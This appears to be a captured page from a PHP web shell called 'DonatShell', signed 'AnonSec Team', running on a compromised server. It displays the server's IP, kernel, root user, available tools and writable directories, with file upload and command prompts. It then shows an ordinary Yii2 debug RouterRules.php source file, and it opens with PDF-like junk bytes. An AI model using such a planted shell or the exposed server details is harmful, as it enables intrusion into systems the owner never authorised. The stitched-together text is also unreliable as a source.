%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/egp/vendor/yiisoft/yii2-debug/src/models/router/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/egp/vendor/yiisoft/yii2-debug/src/models/router/RouterRules.php
<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

namespace yii\debug\models\router;

use Yii;
use yii\base\Model;
use yii\rest\UrlRule as RestUrlRule;
use yii\web\GroupUrlRule;
use yii\web\UrlManager;
use yii\web\UrlRule as WebUrlRule;

/**
 * RouterRules model
 *
 * @author Paweł Brzozowski <pawel@positive.codes>
 * @since 2.1.14
 */
class RouterRules extends Model
{
    /**
     * @var bool whether pretty URL option has been enabled in UrlManager
     */
    public $prettyUrl = false;
    /**
     * @var bool whether strict parsing option has been enabled in UrlManager
     */
    public $strictParsing = false;
    /**
     * @var string global suffix set in UrlManager
     */
    public $suffix;
    /**
     * @var array logged rules.
     * ```php
     * [
     *  [
     *      'name' => rule name or its class (string),
     *      'route' => (string),
     *      'verb' => (array),
     *      'suffix' => (string),
     *      'mode' => 'parsing only', 'creation only', or null,
     *      'type' => 'REST', 'GROUP', or null,
     *  ]
     * ]
     * ```
     */
    public $rules = [];


    /**
     * {@inheritdoc}
     */
    public function init()
    {
        parent::init();

        if (Yii::$app->urlManager instanceof UrlManager) {
            $this->prettyUrl = Yii::$app->urlManager->enablePrettyUrl;
            $this->suffix = Yii::$app->urlManager->suffix;
            $this->strictParsing = Yii::$app->urlManager->enableStrictParsing;

            if ($this->prettyUrl) {
                foreach (Yii::$app->urlManager->rules as $rule) {
                    $this->scanRule($rule);
                }
            }
        }
    }

    /**
     * Scans rule for basic data.
     * @param $rule
     * @param null $type
     * @throws \ReflectionException
     */
    protected function scanRule($rule, $type = null)
    {
        $route = $verb = $suffix = $mode = null;

        if ($rule instanceof GroupUrlRule) {
            $this->scanGroupRule($rule);
        } elseif ($rule instanceof RestUrlRule) {
            $this->scanRestRule($rule);
        } else {
            if ($rule instanceof WebUrlRule) {
                switch ($rule->mode) {
                    case WebUrlRule::PARSING_ONLY:
                        $mode = 'parsing only';
                        break;
                    case WebUrlRule::CREATION_ONLY:
                        $mode = 'creation only';
                        break;
                    case null;
                        $mode = null;
                        break;
                    default:
                        $mode = 'unknown';
                }

                $name = $rule->name;
                $route = $rule->route;
                $verb = $rule->verb;
                $suffix = $rule->suffix;
            } else {
                $name = get_class($rule);
            }

            $this->rules[] = [
                'name' => $name,
                'route' => $route,
                'verb' => $verb,
                'suffix' => $suffix,
                'mode' => $mode,
                'type' => $type
            ];
        }
    }

    /**
     * Scans group rule's rules for basic data.
     * @param GroupUrlRule $groupRule
     * @throws \ReflectionException
     */
    protected function scanGroupRule($groupRule)
    {
        foreach ($groupRule->rules as $rule) {
            $this->scanRule($rule, 'GROUP');
        }
    }

    /**
     * Scans REST rule's rules for basic data.
     * @param RestUrlRule $restRule
     * @throws \ReflectionException
     */
    protected function scanRestRule($restRule)
    {
        $reflectionClass = new \ReflectionClass($restRule);
        $reflectionProperty = $reflectionClass->getProperty('rules');
        $reflectionProperty->setAccessible(true);
        $rulesGroups = $reflectionProperty->getValue($restRule);

        foreach ($rulesGroups as $rules) {
            foreach ($rules as $rule) {
                $this->scanRule($rule, 'REST');
            }
        }
    }
}

Anon7 - 2022
AnonSec Team